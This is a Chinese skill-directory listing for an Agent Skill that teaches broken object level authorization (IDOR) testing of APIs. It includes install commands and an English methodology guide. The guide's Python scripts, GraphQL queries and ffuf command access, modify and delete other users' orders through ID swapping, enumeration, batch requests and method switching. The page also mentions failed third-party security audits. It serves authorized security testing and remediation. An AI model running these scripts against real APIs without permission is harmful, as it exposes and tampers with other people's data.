Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问许可证需确认审计异常

testing-api-for-broken-object-level-authorization测试 API FOR broken object level authorization

Agent Skill

用于辅助 API 设计、接口文档、请求响应结构和服务集成说明。它适合让 Agent 梳理 endpoint、生成 OpenAPI 草稿、检查字段命名、整理错误码或辅助前后端联调。使用时需要确认真实业务语义、鉴权方式、分页和错误处理规则;涉及生成接口文档时,应避免凭空补字段,最好从现有代码、schema 或接口样例中提取事实。

总安装

978

周安装

42

GitHub Stars

5,908

下载量

343
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-api-for-broken-object-level-authorization(测试 API FOR broken object level authorization)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-api-for-broken-object-level-authorization
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorization
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorization

简介

用于辅助识别 API 中对象级权限控制的潜在缺陷。

  • 适合在接口测试和安全审计中检查资源访问控制逻辑。
  • 通过构造特定请求验证不同用户能否越权操作目标对象。
  • 需明确测试目标、用户角色和对象标识,避免影响生产数据。
  • testing-api-for-broken-object-level-authorization 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Testing API for Broken Object Level Authorization

When to Use

  • Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
  • Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
  • Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
  • Validating that API endpoints enforce per-object authorization checks beyond just authentication
  • Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently

Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.

Prerequisites

  • Written authorization specifying the target API endpoints and scope of testing
  • At least two test accounts with different privilege levels and distinct data sets
  • Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
  • Authentication tokens (JWT, session cookies, API keys) for each test account
  • API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
  • Python 3.10+ with requests library for scripted testing
  • Autorize Burp extension installed for automated BOLA detection

Workflow

Step 1: API Endpoint Discovery and Object ID Mapping

Enumerate all API endpoints and identify parameters that reference objects:

From OpenAPI/Swagger Specification:

# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool

# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
  python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method, details in methods.items():
        if method in ('get','post','put','patch','delete'):
            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
            if params:
                print(f'{method.upper()} {path} -> params: {params}')
"

From Burp Suite Traffic:

  1. Browse the application as User A, exercising all features that involve data creation and retrieval
  2. In Burp, go to Target > Site Map and filter for API paths (e.g., /api/v1/, /graphql)
  3. Look for patterns: /api/v1/users/{id}, /api/v1/orders/{order_id}, /api/v1/documents/{doc_uuid}
  4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values

Classify Object ID Types:

ID TypeExamplePredictabilityBOLA Risk
Sequential Integer/orders/1042High - increment/decrementCritical
UUID v4/orders/550e8400-e29b-41d4-a716-446655440000Low - randomMedium (if leaked)
Encoded/Hashed/orders/base64encodedvalueMedium - decode and predictHigh
Composite/users/42/orders/1042High - multiple IDs to swapCritical
Slug/profiles/john-doeMedium - guess usernamesHigh

Step 2: Baseline Request Capture with Authenticated User

Capture legitimate requests for User A and User B:

import requests

BASE_URL = "https://target-api.example.com/api/v1"

# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}

# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}

# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"]  # e.g., 1001

user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]]  # e.g., [5001, 5002]

# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"]  # e.g., 1002

user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]]  # e.g., [5003, 5004]

print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")

Step 3: BOLA Testing - Horizontal Privilege Escalation

Attempt to access User B's objects using User A's authentication:

import json

results = []

# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
    "test": "Access other user profile",
    "endpoint": f"GET /users/{user_b_id}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code == 200,
    "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})

# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
    resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
    results.append({
        "test": f"Access other user order {order_id}",
        "endpoint": f"GET /orders/{order_id}",
        "auth": "User A",
        "status": resp.status_code,
        "vulnerable": resp.status_code == 200
    })

# Test 3: Modify User B's order with User A's token
resp = requests.patch(
    f"{BASE_URL}/orders/{user_b_order_ids[0]}",
    headers=user_a_headers,
    json={"status": "cancelled"}
)
results.append({
    "test": "Modify other user order",
    "endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
    "test": "Delete other user order",
    "endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Print results
for r in results:
    status = "VULNERABLE" if r["vulnerable"] else "SECURE"
    print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")

Step 4: Advanced BOLA Techniques

Test for less obvious BOLA patterns:

# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
    f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
    headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")

# Technique 2: JSON body object ID override
resp = requests.post(
    f"{BASE_URL}/orders/details",
    headers=user_a_headers,
    json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")

# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
    f"{BASE_URL}/orders/batch",
    headers=user_a_headers,
    json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")

# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
    test_id = user_a_order_ids[0] + offset
    if test_id not in user_a_order_ids:
        resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
        if resp.status_code == 200:
            owner = resp.json().get("user_id", "unknown")
            if str(owner) != str(user_a_id):
                print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")

# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
    f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
    headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")

# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
    resp = requests.request(
        method,
        f"{BASE_URL}/users/{user_b_id}/settings",
        headers=user_a_headers,
        json={"notifications": False} if method in ('PUT', 'PATCH') else None
    )
    if resp.status_code not in (401, 403, 405):
        print(f"Method {method} on other user settings: {resp.status_code}")

Step 5: Automated BOLA Detection with Autorize (Burp Suite)

Configure Autorize for automated detection:

  1. Install Autorize from the BApp Store in Burp Suite Professional
  2. In the Autorize tab, paste User B's authentication cookie or header
  3. Configure the interception filters:

- Include: .*\/api\/.* (only API paths) - Exclude: .*\.(js|css|png|jpg)$ (skip static assets)

  1. Set the enforcement detector:

- Add conditions where response length or status code differs between User A and User B - Mark as "enforced" if User A gets 403/401 for User B's resources - Mark as "bypassed" if User A gets 200 with User B's data

  1. Browse the application as User A; Autorize automatically replays each request with User B's token
  2. Review the Autorize results table:

- Green = Authorization enforced (secure) - Red = Authorization bypassed (BOLA vulnerability) - Orange = Needs manual review (ambiguous response)

Step 6: GraphQL BOLA Testing

# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
  node(id: "T3JkZXI6NTAwMw==") {  # Base64 of "Order:5003" (User B's)
    ... on Order {
      id
      totalAmount
      shippingAddress {
        street
        city
      }
      items {
        productName
        quantity
      }
    }
  }
}

# Test nested object access through relationships
query {
  user(id: "1002") {  # User B's ID
    email
    phoneNumber
    orders {
      edges {
        node {
          id
          totalAmount
          paymentMethod {
            lastFourDigits
          }
        }
      }
    }
  }
}

Key Concepts

TermDefinition
BOLABroken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request
IDORInsecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks
Horizontal Privilege EscalationAccessing resources belonging to another user at the same privilege level by manipulating object identifiers
Vertical Privilege EscalationAccessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints)
Object ID EnumerationPredicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values)
AutorizeA Burp Suite extension that automates authorization testing by replaying requests with different user tokens

Tools & Systems

  • Burp Suite Professional: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
  • OWASP ZAP: Open-source alternative with Access Control Testing add-on for authorization boundary testing
  • Autorize: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
  • Postman: API testing platform for crafting and replaying requests with different authentication tokens across collections
  • ffuf: Web fuzzer that can enumerate object IDs at scale: ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"

Common Scenarios

Scenario: E-Commerce API BOLA Assessment

Context: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).

Approach:

  1. Map all endpoints from the Swagger spec at /api/docs: identify 47 endpoints, 23 of which take object IDs
  2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
  3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
  4. Find that GET /api/v1/orders/{id} returns any order regardless of ownership (BOLA on read)
  5. Find that PATCH /api/v1/addresses/{id} allows modifying any user's address (BOLA on write)
  6. Find that GET /api/v1/users/{id}/payment-methods leaks payment card last-four digits for any user
  7. Test batch endpoint POST /api/v1/orders/export - accepts array of order IDs and exports all without ownership check
  8. Verify that DELETE /api/v1/orders/{id} correctly returns 403 for non-owned orders (authorization enforced)

Pitfalls:

  • Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
  • Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
  • Not testing nested resource paths where authorization may be checked on the parent but not the child resource
  • Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
  • Not considering that different API versions (v1 vs v2) may have different authorization implementations

Output Format

## Finding: Broken Object Level Authorization in Order API

**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
  - GET /api/v1/orders/{id}
  - PATCH /api/v1/addresses/{id}
  - GET /api/v1/users/{id}/payment-methods
  - POST /api/v1/orders/export

**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.

**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)

**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers

**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

34.92%
按下载量换算120

Claude

28.83%
按下载量换算99

Cursor

18.1%
按下载量换算62

Gemini CLI

9.26%
按下载量换算32

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills